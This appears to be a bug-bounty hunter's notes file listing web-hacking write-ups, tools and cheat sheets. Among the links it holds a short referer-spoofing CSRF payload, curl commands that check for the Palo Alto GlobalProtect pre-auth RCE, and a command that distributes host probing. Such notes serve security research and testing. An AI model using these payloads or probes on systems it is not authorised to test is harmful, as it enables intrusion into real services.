\# Referer spoofing

```
<base href="https://www.google.com/">
<style>
@import 'https://CSRF.vulnerable.example/';
</style>
```

[https://blog.orange.tw/2019/07/attacking-ssl-vpn-part-1-preauth-rce-on-palo-alto.html](https://blog.orange.tw/2019/07/attacking-ssl-vpn-part-1-preauth-rce-on-palo-alto.html)\
\# Check PreAuth RCE on Palo Alto GlobalProtect

```
time curl -s -d 'scep-profile-name=%9999999c' https://${HOST}/sslmgr >/dev/null
time curl -s -d 'scep-profile-name=%99999999c' https://${HOST}/sslmgr >/dev/null
time curl -s -d 'scep-profile-name=%999999999c' https://${HOST}/sslmgr >/dev/null
```

[https://blog.orange.tw/2018/08/how-i-chained-4-bugs-features-into-rce-on-amazon.html](https://blog.orange.tw/2018/08/how-i-chained-4-bugs-features-into-rce-on-amazon.html)\
\# How I Chained 4 Bugs(Features?) into RCE on Amazon Collaboration System (bypass with /..;/)

[https://docs.google.com/presentation/d/1jqnpPe0A7L\_cVuPe1V0XeW6LOHvMYg5PBqHd96SScJ8/](https://docs.google.com/presentation/d/1jqnpPe0A7L_cVuPe1V0XeW6LOHvMYg5PBqHd96SScJ8/)\
\# Routing To Another Backend , Deserve Spending Hours AND Hours On Its So Inspired By @samwcyo's Talk " Attacking Secondary Contexts in Web Applications " , I Have Been Collecting A Lot Of Stuff To PWN This Backend.

[https://medium.com/@ricardoiramar/reusing-cookies-23ed4691122b](https://medium.com/@ricardoiramar/reusing-cookies-23ed4691122b)\
\# This is a story how I accidentally found a common vulnerability across similar web applications just by reusing cookies on different subdomains from the same web application.

[https://github.com/shieldfy/API-Security-Checklist](https://github.com/shieldfy/API-Security-Checklist)\
\# Checklist of the most important security countermeasures when designing, testing, and releasing your API.

[https://ippsec.rocks](https://ippsec.rocks/)\
\# Looking for a video on a specific hacking technique/tool? Searches over 100 hours of my videos to find you the exact spot in the video you are looking for.

[https://book.hacktricks.xyz/welcome/hacktricks](https://book.hacktricks.xyz/welcome/hacktricks)\
\# Welcome to the page where you will find each hacking trick/technique/whatever I have learnt in CTFs, real life apps, and reading researches and news.

[https://github.com/c3l3si4n/godeclutter](https://github.com/c3l3si4n/godeclutter)\
\# Declutters URLs in a lightning fast and flexible way, for improving input for web hacking automations such as crawlers and vulnerability scans.

[https://github.com/s0md3v/uro](https://github.com/s0md3v/uro)\
\# Using a URL list for security testing can be painful as there are a lot of URLs that have uninteresting/duplicate content; uro aims to solve that.

[https://github.com/hakluke/hakscale](https://github.com/hakluke/hakscale)\
\# Hakscale allows you to scale out shell commands over multiple systems with multiple threads on each system. The key concept is that a master server will push commands to the queue, then multiple worker servers pop commands from the queue and execute them. The output from those commands will then be sent back to the master server.

```
hakscale push -p "host:./hosts.txt" -c "echo _host_ | httpx" -t 20
```

[https://nathandavison.com/blog/abusing-http-hop-by-hop-request-headers](https://nathandavison.com/blog/abusing-http-hop-by-hop-request-headers)\
\# In this writeup, I will be covering techniques which can be used to influence web systems and applications in unexpected ways, by abusing HTTP/1.1 hop-by-hop headers. Systems affected by these techniques are likely ones with multiple caches/proxies handling requests before reaching the backend application.

[https://github.com/chubin/cheat.sh](https://github.com/chubin/cheat.sh)\
\# Unified access to the best community driven cheat sheets repositories of the world.

[https://labs.detectify.com/2022/10/28/hacking-supercharged-how-to-gunnar-andrews/](https://labs.detectify.com/2022/10/28/hacking-supercharged-how-to-gunnar-andrews/)\
\# How to supercharge your hacking: Mindset, workflow, productivity and checklist.

[https://github.com/sehno/Bug-bounty](https://github.com/sehno/Bug-bounty)\
\# You can find here some resources I use to do bug bounty hunting.

[https://wpdemo.net/](https://wpdemo.net/)\
\# WPDemo.net is for WordPress theme designers and plugin developers that want to allow potential customers to test drive their WordPress plugins or themes before buying.

[https://searchcode.com/](https://searchcode.com/)\
\# Search 75 billion lines of code from 40 million projects.

[https://github.com/vitalysim/Awesome-Hacking-Resources](https://github.com/vitalysim/Awesome-Hacking-Resources)\
\# A collection of hacking / penetration testing resources to make you better!

[https://github.com/infoslack/awesome-web-hacking](https://github.com/infoslack/awesome-web-hacking)\
\# A list of web application security.

[https://www.youtube.com/watch?v=QSq-aYYQpro](https://www.youtube.com/watch?v=QSq-aYYQpro)\
\# Command-Line Data-Wrangling by Tomnomnom.

[https://www.youtube.com/watch?v=s9w0KutMorE](https://www.youtube.com/watch?v=s9w0KutMorE)\
\# Bug Bounties With Bash by Tomnomnom.



